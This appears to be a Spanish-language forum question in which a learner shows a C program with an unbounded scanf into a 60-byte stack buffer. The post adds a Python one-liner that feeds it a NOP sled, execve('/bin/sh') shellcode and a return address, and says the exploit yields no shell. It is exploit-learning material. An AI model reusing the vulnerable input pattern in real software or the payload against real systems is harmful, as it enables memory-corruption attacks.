#include <stdio.h>
void secret()
{
printf("Congratulations!\n");
}
void echo()
{
char array[60];
scanf("%s", array);
printf("You entered: %s\n", array);
}
int main()
{
echo();
return 0;
}
arriba está el código que estoy tratando de explotar.
Encontré la dirección ebp usando gdb, aunque sé que es difícil señalar la ubicación exacta. He utilizado la técnica de trineo NOP
Tamaño del búfer asignado - 0x44 - 68bytes
el código de shell es - 25 bytes
python -c 'print "\x90"*47 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "\xa8\xbb\xff\xff"' | ./test
Estoy tratando de saltar en algún lugar en medio del trineo NOP.
Y no obtengo un error de segmentación, pero tampoco obtengo el acceso al shell.